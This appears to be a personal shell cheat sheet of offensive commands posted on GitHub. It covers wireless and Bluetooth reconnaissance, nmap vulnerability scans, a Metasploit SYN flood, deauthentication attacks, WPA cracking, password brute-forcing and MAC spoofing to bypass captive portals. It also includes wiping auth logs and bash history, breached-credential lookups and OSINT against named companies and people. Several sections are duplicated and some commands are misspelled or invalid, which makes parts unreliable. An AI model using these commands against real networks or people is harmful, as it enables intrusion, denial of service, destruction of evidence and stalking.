-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathcommands.sh
1206 lines (908 loc) · 35.2 KB
/
commands.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/bin/sh
# commands.sh
#
#
# Created by a-robot on 3/14/22.
#
-------------------- BASIC RECON -----------------------------------
https://null-byte.wonderhowto.com/how-to/bt-recon-snoop-bluetooth-devices-using-kali-linux-0165049/
hciconfig -h ## bluetooth context manager, similar to wifi manager (help menu)
man hciconfig
man hcitool
man sdptool ## allows queries on bluetooth servers --> permeessions / avail services
man btscanner
hciconfig dev_name up
sdptool browse MAC_ADDRESS
btscanner # launches GUI interface
#### BETTERCAP (ettercap replacement) ####
## https://www.bettercap.org/legacy/
# https://null-byte.wonderhowto.com/how-to/target-bluetooth-devices-with-bettercap-0194421/
git clone https://github.com/evilsocket/bettercap
cd bettercap
bundle install
gem build bettercap.gemspec
sudo gem install bettercap*.gem
sudo apt-get install build-essential ruby-dev libpcap-dev
apt install golang
go get github.com/bettercap/bettercap
cd $GOPATH/src/github.com/bettercap/bettercap
make build
sudo make install
sudo bettercap
##
bettercap
ble.recon on ## returns the range and device name of enabled BT devices
ble.recon off
ble.show
ble.enum MAC_ADDRESS # PROVIDES MORE INFO ON BLUETOOTH DEV
##ss
192.168.0.0/24 > 192.168.0.37 » net.show
192.168.0.0/24 > 192.168.0.37 » ble.recon on ### BLUETOOTH SNIFFING MODULE
192.168.0.0/24 > 192.168.0.37 » ble.show ### IDENTIFY HOSTS TO PROBE
192.168.0.0/24 > 192.168.0.37 » ble.enum 56:73:e6:ea:ce:c5 ### SCAN AND INTERACT W/ DEVICES
192.168.0.0/24 > 192.168.0.37 » ble.write 7e:dc:48:7c:77:ea 69d1d8f345e149a898219bbdfdaad9d9 ffffffffffffffff ### writting fffff to the writeable field found
netstat - [helps display network activity; (like TCP and UDP) are being used. and rouing. --- outputs mainly TCP]
netcat -all --> [scans for other protocols (udp and tcp)]
netlookup <host_name> --> reveals ip
route --> gives access to routing tables
netstat -rn [finds gatweay address]
sudo netdiscover -i eth0 -r 192.168.64.1/24,/16,/8 [ [DISCOVER WHOS ON NETWORK]
dsniff - [practically snniffing for any password (FTP HTTP) WHILE ON NETWORK MDODE.]
netcat [nc] --> [is a creepy, it can be used to follow you oce or persisant follwig you with a fwe commands. it can watch you upload/download or do anything on the networkthat hpersists)
(BROADCAST MODE)
sudo ifconfig wlan0 down
sudo airmon-ng check
sudo airmon-ng check kill
sudo airmon-ng start wlan0
(TO FIND GATEWAY ADDRESS)
(FIND GATEWAY ADDR)
--------------------- STAY ANONYMOUS ---------------------------
i2prouter start [#### IP2ROUTER --> File sharing / hosting ]
tor + proxy
vpn (most cant be trusted)
https://inteltechniques.com/ [THrow away emails]
tempmailer.de
https://api.wigle.net/ [excellent gps and realtime tracking tool]
shodan.io ## --> d[simular to wiggle, but contains open streams and devices]
https://null-byte.wonderhowto.com/how-to/wardrive-android-phone-map-vulnerable-networks-0176136/
grabify.link ## --> track usersr
https://nvd.nist.gov/developers/vulnerabilities
https://www.exploit-db.com/
securityfocus.com
https://sur.ly/i/breachforums.com/
namecheckup.com ## --> osnit
https://neatnik.net/steganographr/ --> stenography (*to hide tracks)
### MANGLE TTL
# WINDOWS
netsh int ipv4 set glob defaultcurhoplimit=65
netsh int ipv6 set glob defaultcurhoplimit=65
netsh int ipv6 set glob defaultcurhoplimit=128 # <-- RESET BACK TO DEFUALT
########## SHRED ALL DATA ################
## NMAP SCRIPT LOCATION
ls -al /usr/share/nmap/scripts/
## CANARY TOKENS
canarytokens.com/generate
### LOGS #####
kill -9 $$ ## exits the terminal without saving history
wget https://raw.githubusercontent.com/sundowndev/covermyass/master/covermyass
chmod +x covermyass
./covermyass
# BASH HISTORY
cd /dev/shm/
rm /root/.bash_history
## or edit the var $HISTSIZE and $HISTFILESIZE
# AUTH-LOG FILES
cd /var/log
sudo rm auth.log
shred -zu /var/log/auth.log ## safely overwrite logs with 0's and 1's
truncate -s 0 /var/log/auth.log
## make abunch of differnt APS
sudo mdk3 wlx0013eff5483f b -c 1 -f ./data/data.lst ## update data.txt with spooffed ap
airodump-ng wlx0013eff5483f -c 11 ## use to monitor local APS
------------------------------------- BLUETOOTHNESS ------------------------------------
https://null-byte.wonderhowto.com/how-to/bt-recon-snoop-bluetooth-devices-using-kali-linux-0165049/
hciconfig -h ## bluetooth context manager, similar to wifi manager (help menu)
man hciconfig
man hcitool
man sdptool ## allows queries on bluetooth servers --> permeessions / avail services
man btscanner
hciconfig dev_name up
sdptool browse MAC_ADDRESS
btscanner # launches GUI interface
#### BETTERCAP (ettercap replacement) ####
## https://www.bettercap.org/legacy/
# https://null-byte.wonderhowto.com/how-to/target-bluetooth-devices-with-bettercap-0194421/
git clone https://github.com/evilsocket/bettercap
cd bettercap
bundle install
gem build bettercap.gemspec
sudo gem install bettercap*.gem
sudo apt-get install build-essential ruby-dev libpcap-dev
apt install golang
go get github.com/bettercap/bettercap
cd $GOPATH/src/github.com/bettercap/bettercap
make build
sudo make install
sudo bettercap
bettercap
ble.recon on ## returns the range and device name of enabled BT devices
ble.recon off
ble.show
ble.enum MAC_ADDRESS # PROVIDES MORE INFO ON BLUETOOTH DEV
##ss
192.168.0.0/24 > 192.168.0.37 » net.show
192.168.0.0/24 > 192.168.0.37 » ble.recon on ### BLUETOOTH SNIFFING MODULE
192.168.0.0/24 > 192.168.0.37 » ble.show ### IDENTIFY HOSTS TO PROBE
192.168.0.0/24 > 192.168.0.37 » ble.enum 56:73:e6:ea:ce:c5 ### SCAN AND INTERACT W/ DEVICES
192.168.0.0/24 > 192.168.0.37 » ble.write 7e:dc:48:7c:77:ea 69d1d8f345e149a898219bbdfdaad9d9 ffffffffffffffff ### writting fffff to the writeable field found
-------------------------------- FRAMEWORK - wifi 802.11 **************************************
(start armitage)
sudo msfconsole
sudo msfrpcd -P pass
sudo msfrpcd -U msf -P pass --ssl
sudo msfrpcd -U msf -P pass -a 127.0.0.1 --ssl
sudo armitage
(PORT SCAN WITH IplisT)
sudo nmap -iL iplist.txt
(ScAN, WITH SPEED )
sudo nmap -O -iL iplist.txt -T5
(OSCAN SCAN)
sudo nmap -O -iL iplist.txt
(TCP poRT SCAN)
sudo nmap -sA -iL iplist.txt
(TCP poRT SCAN)
sudo nmap -sU -iL iplist.txt
(PoRT SCAN WEBSITE -layer 2)
sudo nmap -PE -sn website.com
(PoRT SCAN WEBSITE -layer 3, fireall)
nmap -PA80 -sn website.com
(FIND OPEN PORT ON SPECIFIC DEVICE)
sudo nmap -F 192.168.86.20
(FIND OPEN PORT AND OS)
sudo nmap -sV -p- -A 192.168.1.15
(FIND IP ADDR OF WEBSITE)
nslookup dedicatedglass.com
(BETTERCAP - INTERNAL PROBE)
sudo bettercap
net.probe on
(FIND WHOS ON NETWORK)
nmap -A -sL 192.168.86.0/24
(FIND THE ROUTER IP)
└─$ netstat -r -n
Kernel IP routing table
(SCAN COMMON PORTS OF IOT DEVICES)
nmap -A -p 80,8080,8081,81 192.168.64.1
(SCAN OPEN PORTS ON NETWORK, WITH OS)
└─$ sudo nmap -A -sS -O 192.168.64.1
(SCAN DEVICE NAMES )
nmap -A -sP 192.168.1.0/24
(SCAN DEVICE SPECIFIC PORTS)
Sudo nmap -A -sS -O 192.168.86.35
(AUTOPWN - SCAN ROUTER FOR VULN)
rsf (AutoPwn) > use scanners/autopwn
rsf (AutoPwn) > show options
rsf (AutoPwn) > set target 192.168.64.1
rsf (AutoPwn) > run
#### FOR BROWSER PLUGINS (OSNIT, SELF SECURITY)
# https://inteltechniques.com/
# ## throw-away email ##
# tempmailer.de
#https://api.wigle.net/
#https://null-byte.wonderhowto.com/how-to/wardrive-android-phone-map-vulnerable-networks-0176136/
# grabify.link ## --> track usersr
# shodan.io ## --> device info
# https://nvd.nist.gov/developers/vulnerabilities
# https://www.exploit-db.com/
# securityfocus.com
# https://sur.ly/i/breachforums.com/
# namecheckup.com ## --> osnit
# https://neatnik.net/steganographr/ --> stenography (*to hide tracks)
## NMAP SCRIPT LOCATION
ls -al /usr/share/nmap/scripts/
## CANARY TOKENS
canarytokens.com/generate
### LOGS #####
kill -9 $$ ## exits the terminal without saving history
wget https://raw.githubusercontent.com/sundowndev/covermyass/master/covermyass
chmod +x covermyass
./covermyass
# BASH HISTORY
cd /dev/shm/
rm /root/.bash_history
## or edit the var $HISTSIZE and $HISTFILESIZE
# AUTH-LOG FILES
cd /var/log
sudo rm auth.log
shred -zu /var/log/auth.log ## safely overwrite logs with 0's and 1's
truncate -s 0 /var/log/auth.log
## make abunch of differnt APS
sudo mdk3 wlx0013eff5483f b -c 1 -f ./data/data.lst ## update data.txt with spooffed ap
airodump-ng wlx0013eff5483f -c 11 ## use to monitor local APS
########## OPEN PORTS FOR SERVERS ##########
UBUNTU - NGINX - FIREWALL
sudo ufw status
sudo ufw allow 80/udp
sudo ufw allow 80/tcp
sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT
sudo ufw allow 9999/udp
sudo ufw allow 9999/tcp
sudo iptables -A INPUT -p tcp --dport 9999 -j ACCEPT
sudo iptables -A INPUT -p udp --dport 9999 -j ACCEPT
sudo ufw allow 20/tcp
sudo ufw allow 21/tcp
sudo ufw allow 990/tcp
sudo ufw allow 40000:50000/tcp
sudo ufw status
## To add new user
useradd -r user2
## basics
iwevent -- to get wireless events
iwgetid - reports curretn essid / ap
####################################
####### COVERING TRACKS ############
### PROXYCHAINS (COVERRING TRACKS) ###
# EDIT CONFIG /ETC/PROXYCHAINS.CONF
sudo apt-get install -y proxychains
proxychains nmap ip/24
proxychains tor
## NOISY--> diguise packets hidden behind prexisting servers (by generaitng random traffic)#
## --> best if used if you think someone is spying on you or the network
pip install requests
git clone https://github.com/1tayH/noisy.git
cd noisy
python noisy.py --help
nano config.json
## ADD SITES TO CONFIG FILE
python noisy.py --config config.json
### TCP FLOOD ###
sudo nmap -p1-64580 192.168.50.111
service postgresql start
msfconsole
search synflood
use auxiliary/dos/tcp/synflood
show options
set RHOST 192.168.50.111
####################################
################################################
#### TO LOOK UP BREACHED PASSWORDS AND USER INFO #####
git clone https://github.com/khast3x/h8mail.git
apt-get install nodejs
cd h8mail
pip3 install -r requirements.txt
python3 ./h8mail.py -h
python3 h8mail.py -h
python3 h8mail.py -t [email protected] -bc 'location_of_your_file/BreachCompilation' --local
### TO RETURN DOMAIN EMAILS ####
theharvester -d priceline.com -l 1000 -b pgp
nano targets.txt
python3 h8mail.py -t '/root/h8mail/targets.txt' -bc '~/BreachCompilation' --local
#### TO MIRROR WEBPAGE DATA (EXACT COPY)
sudo apt install httrack webhttrack
httprack -w domain.com
## throw-away email ##
tempmailer.de
################################################
-----------------------------FEW TIPS AND TRICKS---------------------------
########################
### OSNIT / SPY BLUETOOTH ####
## unlike wifi, bluetooth negotates a key ones and stores it. this happens on first handshake, making packet inseretion and listneing harder
#
###########################
########################
### LINUX (default ttl=64)
iptables -t mangle -I POSTROUTING 1 -j TTL --ttl-set 66
########################
OPEN SSL ENCRYPTION
Private key
openssl genrsa -aes-256-cbc -out macair.key 4096
openssl genrsa -aes-256-cbc -out macair.key 4096
# Public key
openssl rsa -in frank.key -pubout > frankpublic.key
# verification file
### making signed encryption
openssl dgst -sha256 -sign macair.key -out signer verifcation.enc
# to sign
openssl base64 -in signer -out verifcation.enc
##### INTRUSION DETECTION ####
# Sparrow Wifi # -->
https://github.com/ghostop14/sparrow-wifi
gpsd -D 2 -N /dev/ttyUSB0 # WARDRIVING --> graphs
sudo ./sparrow-wifi.py
### KISMET - FIND ALL THE NETWORK HOST, AND DEVICE MANU
##### DEATH AND LIMIT BANDWIDTH ON NETWORK ############
## EVIL LIMITER--> TO DE AUTH AND KICK OFF NETWORK USERS ###
git clone https://github.com/bitbrute/evillimiter.git
cd evillimiter
sudo python3 setup.py install
sudo evillimiter
scan
limit 1,2,3,4,5,6 200kbit ## LIMIT OR BLOCK NETWORK USERS
block 3
hosts
free all
sudo wireshark ## to watch network traffic
#####################################################
################################################
### AIRGEDDON --> DEAUTH USERS WHEN NOT ON ROUTER
git clone https://github.com/v1s1t0r1sh3r3/airgeddon.git
cd airgeddon
sudo bash airgeddon.sh
################################################
## lookoups#### 2 ⚙
proxychains firefox
ike-scan
dnstracer dedicatedglass.com
Nslookup dedicatedglass.com
(to get dns)
Ping -a dedicatedglass.com
tlssled 192.168.50.1 2 ⚙
sslscan -h dedicatedglass.com
Recon-ng 2 ⚙
To grab SSL certificates
sslyze --regular website or ip
nslookup IP >> nslookup.txt
http://geoiplookup.net/
########## DNS LOOKUPS ############
## host, nslookup, dig
host domain.com ## returns host IP and mailserver
host -t ns domain.com
host -t mx domain.com
host ip_address # reverse dns
nslookup domain.com
nslookup # to enter nslookup console
# webserver
set type=ns
domain.com
# mail server
set type=mx
domain.com
dig --help
dig domain.com
dig domain.com -t mx
dig domain.com -t ns
dig domain.com AAAA # ipv6 addresses
##################################
#### JOHN THE RIPPER ###
rar2john $HASHED_FILE
rar2john $HASHED_FILE > hash.txt
john --format=zip hash.txt
#### WIRESHARK ####
#### MANGLED TTYL (FREE WIFI AP ACCESS) ######
#################### AIRMON-NG // SUITE #######################
###############################################################
radio_name = $(iw dev | awk) '$1=="Interface"{print $2}'
sudo airodump-ng wlx0013eff5483f ## fo rmonitoring
airodump-ng wlx0013eff5483f --encrypt wep
airodump-ng wlx0013eff5483f -c 11 ## TO BROADCAST ESSID
airodump-ng wlx0013eff5483f -c 11 & wireshark ## TO BROADCAST ESSID and use wireshark for packet injection
## find transmitter device on wireshark and set filter with pipe
wlan.ta == MAC || wlan.da MAC #(da = destination, ta is starting transmission)
eapol #(in wireshark filter--> it displays the handshakes from ^) https://www.youtube.com/watch?v=5guDKTc6Hak
aircrack-ng -w 'password-list location' '.pacap location' # get pcap from wireshark ^ --> to crack the password
airodump-ng wlx0013eff5483f --encrypt wep
airodump-ng wlx0013eff5483f -c 11
netdiscover -r 192.168.50.1/24
airodump-ng wlx0013eff5483f --encrypt wep
sudo iwlist wlx0013eff5483f scanning | egrep 'Cell |Encryption|Quality|Last beacon|ESSID'
#### TO GET DEVICES AND DISTANCE
sudo iw dev wlx0013eff5483f scan | egrep "signal:|SSID:" | sed -e "s/\tsignal: //" -e "s/\tSSID: //" | awk '{ORS = (NR % 2 == 0)? "\n" : " "; print}' | sort
##### TO FIND WEP PROTECTION ####
airodump-ng wlx0013eff5483f --encrypt wep
aireplay-ng -0 0 mac -c mac_of_radio radio_name
airemon-ng start external_radio 6 # the number is the channel (TO START MONITOR MODE)
kismet -c radio_name ## GETS THE MAC ADDRESS
## send deauth
#1 find mac for router (-a) and client (-c)
netdiscover -r 192.168.50.1/24
aireplay-ng --deauth 90000000 -a F0:2F:74:2C:7E:88 -c 9a:26:55:ed:ef:84 wlo1
### MAC ADDRESS RANDOMIZATION ( CELL PHONES )
## conecting to portals --> swap mac address on whitelist with an already authorized Mac address
# 1. put card into wiresless monitor mode
# 2. find exisitng users on the whitelist. find the channel of ESSID
# 3. copy the mac connected to router.
sudo apt-get install macchanger aircrack-ng
sudo iwconfig wirelessInterface down
sudo macchanger -r wirelessInterface
ip a # to find current NICs in use
sudo airmon-ng start wirelessInterface # to put in into monitor mode
sudo airodump-ng wirelessInterface -c 11 --encrypt OPN # to see only open networks --> displays list of connected devices on network
sudo ifconfig nicNonMonitorMode down
sudo macchanger -m newMacfromabove nicNonMonitormode
sudo ifconfig nicNonMonitorMode up
################################
###########################
### IFRENAME ###
ifrename # to rename wireless
iwevent # display wireless events
iwgetid # reports current essid
iwlist # scan savailable aps or essid
iwspy # monitors iw nodes and records strenght and quality of signal
##### NMCLI #####
nmcli general status
nmcli general hostname # get and change sys hostname
nmcli general permissions # show the permssions available to caller
nmcli connection show --active
nmcli modify
nmcli networking on off # disable network control management
nmcli networking connectivity
nmcli radio all ## show status for all devices
nmcli radio wwan ## for tethered devices
nmcli radio wifi ## show status for wifi devices
nmcli device status
nmcli device showstatus
nmcli device showstatus wlan0
nmcli device wifi connect # connect to near hotspot
nmcli device wifi hotspot # create a wifi hotspot
wifi-show-password
######### TO DISPLAY AND SHOW USB DEVICES ####
lspci
lscpu
lsusb
lsblk
lslo
lsslcb
lshw
## to get available ESSID
sudo iwlist [nic name] scan | grep ESSID
nmcli dev wifi
#### TO CREATE CUSTOM AP ###
wpa_supplicant/hostap
hostapd # to create AP for wifi sharing
wpa_supplicant # allows scanning and connection to AP
### INSTALL ALL KALI DEPENDENCIES
apt install kali-linux-everything
-------------------------------[NMAP]--------------------------------------------------
############ NMAP #############
#### KEYS ###
# -A -> OS INFO
# -sV -> list running svc on port
# -Pn -> ignore if up / down
## -Sv nmap to return open ports and services (specific device)
## -v adds verbosity
# cd /usr/share/nmap/scripts ## to find nmap vuln scripts
## nmap -v == add verbosity
# nmap --reason --> why port is in its state
# nmap --packet-trace --> shows all send/recv packets
# nmap --opem xxx.xxx
#############################
nmap -sV -pN xx # basic nmap scan
nmap -p local_ip_doman/24 -oG nmap_out.txt
nmap 192.xxx -oX /dir/file.xml ## to output nmap to .xml
nmap -A -Pn xxx/0/24 # os scan
nmap -sA xxxx # tcp-ack scan --> unfilterd and filtered ports
nmap -sI zombiehost.com domain.com
nmap -sW xxx # window scan
nmap -sV host,com -scrip dns-brute ## chain script
sudo nmap -sV -Pn -v ns8231.hostgator.com (#port knocking)
Sudo nmap -A -Pn -v 76.172.85.231
nmap -sI -v google.com 192.168.50.1 2 ⚙
nmap -sW -v 192.168.50.1
nmap -sn -v - A--version-intenstity=9 192.168.0.0/24 ## nmap to find who's on Lan (subnet) #####
cd /usr/share/nmap/scripts
nmap --script nmap-vulners/ -sV -sS -Pn -A -v 192.168.50.1/24 --version-intensity=9
nmap -sV --script=vulscan/vulscan.nse 192.168.50.111
nmap --script nmap-vulners/ -sV www.securitytrails.com
nmap --script nmap-vulners/ -sV 11.22.33.44
nmap --script nmap-vulners/,vulscan/ -sV yourwebsite.com
nmap -Pn --script vuln 192.168.1.105
echo "scanning for open ports"
nmap -iL probed.txt -T5 -oA scans/port_scan.txt -V
echo "scanning for open ports"
nmap -iL probed.txt -T5 -oA scans/port_scan.txt -V
nmap -Sn xxx.xxx # ping scan
nmap -sL # list scan, returns device name
nmap -Pn # returns oepn ports . devname and mac address
nmap -Sn --traceroute xxx.xx/24
nmap -Sn # ping scan
nmap -sL # list scan returns device and if its up or down
nmap -Pn # returns oepn port, best used with direct IP
nmap -Sn --traceroute ip/24
nmap ip.25 -p1-6000 # specify port
nmap -sV # find the service version
nmap -sV xxx.xxx --version-intensity=9
nmap -o xxx --oscan-guess
nmap -A xx.xx version-intensity=9
nmap -sV -A --script=vulners ip --version intesnsity=9
nmap -sV -A xxx.xxx --version-intesity=9
## php vulnerability
nmap -sV --script=http-php-version testphp.vulnweb.com
nmap 192.168.50.1 -oX /home/frank/nmapout.xml
nmap cpanel.dedicatedglass.com/24 -oX /home/frank/nmap.xml
sudo nmap -sP -n 192.168.0.0/24 ## nmap to return mac address
sudo nmap -sV --scripts=vulscan xxxx
-------------------------------[NMAP]--------------------------------------------------
#############################
## password crackers
hashcat
scp <file to upload> <username>@<hostname>:<destination path>
scp -r <directory to upload> <username>@<hostname>:<destination path> # dir scp
echo "put files*.xml" | sftp -p -i ~/.ssh/key_name [email protected] #u using relative loc
sftp -b batchfile.txt ~/.ssh/key_name [email protected] # using batch in text
#### BRUTE FORCE #### PASSWORDS
## BRUTESPRAY --> requries nmap fiel
apt install brutespray
brutespray --file nmapout.xml --threads 5
brutespray -file nmapout.xml -t 5 -s ftp
brutespray --file nmapfuad.xml -U names.txt -P milw0rm-dictionary.txt --threads 5
brutespray --file nmapfuad.xml -U /home/frank/names.txt -P /home/frank/milw0rm-dictionary.txt --threads 5
sudo apt install ncrack
ncrack -u users.tx -p passwords.txt
sudo apt-get install hydra-gtk
sudo apt-get purge hydra-gtk && sudo apt-get autoremove && sudo apt-get autoclean
hydra -L users.txt -P passwords.txt location_pass.txt
pantor ftp_login host=ip , user=users.txt password- pass.txt 0=users.txt 1=passwords.txt
## USE CUPS AND THE MENTALIST TOGETHER TO GENERATE CUSTOM PASSWORD LISTS.
#### USE CUPS TO CREATE PASSWORD LIST WITH GIVEN USER INPUT (NAME, COMPANY BDATE ETC... )
git clone https://github.com/Mebus/cupp.git
nano cupp.config
python cupp.py -i
### USE THE MENTALIST (GUI) TO CREATE CUSTOM #'S AND SPECIAL CHARICTERS TO PASSWORD LIST GENERATED FROM CUPP
sudo apt install git python3-setuptools python3-tk
git clone https://github.com/sc0tfree/mentalist
cd mentalist/
sudo python3 setup.py install
#### PHOTON SCANNER ######
# https://null-byte.wonderhowto.com/how-to/use-photon-scanner-scrape-web-osint-data-0194420/
## photon focuses on data for password hasshes, api keys, and 3rd party ninja query.
#[DOCS] https://github.com/s0md3v/Photon
# -t threads , --stdout, --ninja, --wayback (use archive.org for old dirs), --dns (dns dump)
pip install tld requests
git clone https://github.com/s0md3v/Photon.git
cd Photon
python3 photon.py -h
sudo python3 photon.py -u 'domain.com' --verbose
sudo python3 photon.py -u 'domain.com' --keys --dns -t 3
python3 photon.py -u https://www.priceline.com/ --dns
python3 photon.py -u https://www.pbs.org/ --keys -t 10 -l 3 ### EXTRACT SECRET KEYS
python3 photon.py -u https://www.pbs.com/ --keys -t 10 -l 1 --ninja ### NINJA MODE
#####################################
###### DEEP OSNIT ### THE HARVESTER #######
## PUBLIC INFO ON BUSINESS NETWORKS
wigle.net
cd /home/frank/the_harvester
python3 theHarvester.py -d dedicatedglass.com -l 500 -b all
### RECON-NG --> contains modules simular to metasploit
##### GREAT FOR OSNIT
git clone 'https://github.com/lanmaster53/recon-ng'
workspaces add ws1 ## CERATE WORKSPACE
show workspaces
workspaces select default
show modules
add domains ### USE THIS THIS TO ADD TO DATA TABLE FOR EXPLOIT
show domains
add companies
show companies
search whois # displays modules that exist for whois
use whois_pocs
show info ## displays module info and the data structure user provided
show # displays information to be used in console
show dashboard ## shows all current activities / tasks peformed
add # need to
#########################################################################
######### metasploit # ###########
Msfconsole
Search samba_symlink_traversal
Use / dir to exploit
Show options
Set option IP (look for required)
Exploit (to run export)
###### SEARCHSPLOIT --->> ALLOWS ACCESS TO EXPOOIT-DB DATABASE ####
# https://github.com/offensive-security/exploitdb
git clone 'https://github.com/offensive-security/exploitdb'
searchsploit -h
# kali
sudo apt -y install exploitdb
sudo apt -y install exploitdb-bin-sploits exploitdb-papers
# ubuntu
sudo git clone https://github.com/offensive-security/exploitdb.git /opt/exploitdb
sudo ln -sf /opt/exploitdb/searchsploit /usr/local/bin/searchsploit
# darwin
brew update && brew install exploitdb
########################################################################
######## LOCALIZED INFO ######
ALL HARDWARE INFO
Apt install infix
Infix -Fxz
DIRS=$(ls *.txt)
broadcast = $(ifconfig | grep broadcast)
mac = $(ifconfig | grep mac)
######
##### OSNIT #####
Phonenumbers scanner
phoneinfoga scan -n <number>
phoneinfoga scan -n "+1 (555) 444-1212"
# SKIP TRACER (REVERSE-LICENSE LOOKPI)
git clone https://github.com/xillwillx/skiptracer.git skiptracer
cd skiptracer
pip install -r requirements.txt
python skiptracer.py -l (phone|email|sn|name|plate)
######################################
############### SOCIAL MEDIA ######################
######## OSNIT ###########
### Social media accounts#####
Pyhton3 sherlock.py username
online OSNIT
https://api.wigle.net/
https://www.nirsoft.net/ (look thins up, powerful tool)
http://geoiplookup.net/ ### GEO IP LCOATIONS
tracemyip.org
inteltechniques.com
### Osintgram -- INSTAGRAM OSNIT
## echo the ig dummy user account and set to .conf file (#3)
## need to create username.conf, pw.conf and settings.json
git clone 'https://github.com/Datalux/Osintgram'
pip3 install -r requirements.txt
echo 'ig_dummyacct' > username.conf
echo 'ig_dummyPass' > pw.conf
echo '{},' > settings.json
python3 main.py ig_TARGET
list # displays available commands
#### TWINT --- TWITTER OSNIT
# https://null-byte.wonderhowto.com/how-to/mine-twitter-for-targeted-information-with-twint-0193853/
# [MAN] https://github.com/twintproject/twint
pip3 install --upgrade -e git+https://github.com/twintproject/twint.git@origin/master#egg=twint
git clone https://github.com/twintproject/twint.git
cd twint
pip3 install -r requirements.txt
pip3 install twint
sudo twint -h
twint --help
sudo twint -g="34.0343535, -117.23414142,2km" --search 'fish shack' --email --phone ## find discussinon about a business
sudo twint -u realdonaldtrump -g='34.39343535, -118.234234252,2km'
sudo twint -u realdonaldtrump --search 'loser' -o trump.txt
## USER RECON --> ACTIVE SOCIAL MEDIA PAGES ##
git clone 'https://github.com/issamelferkh/userrecon'
./userrecon.sh
git clone 'https://github.com/sherlock-project/sherlock'
cd sherlock
python3 -m pip install -r requirements.txt
python3 sherlock user123
python3 sherlock user1 user2 user3
######################################
### to create fake AP ###
https://cybergibbons.com/security-2/quick-and-easy-fake-wifi-access-point-in-kali/
cd
/etc/hostapd
nano hostapd.conf
./hostapd.conf
iwevent
## WIRESHARK CLI ###
tshark -D
tshark -i 2 -i 5 -i 6
tshark -i 2 -i 5 -i 6 > firstWIRE.csv
tshark -i wlx0013eff5483f
tshark -i wlx0013eff5483f -i any (## all interfaces)
### CRACKING WEP / WPA ####
besside-ng en0 -c 6 -b
airodump-ng wlx0013eff5483f --encrypt wep
--------------------- WEB APP ==================
#### GOOGLE DORKS ###
# TO FIND NONSECURE LINKS ON WEBSERVER
site:dedicatedglass.com inurl:http
# TO DORK FOR LOGFILES
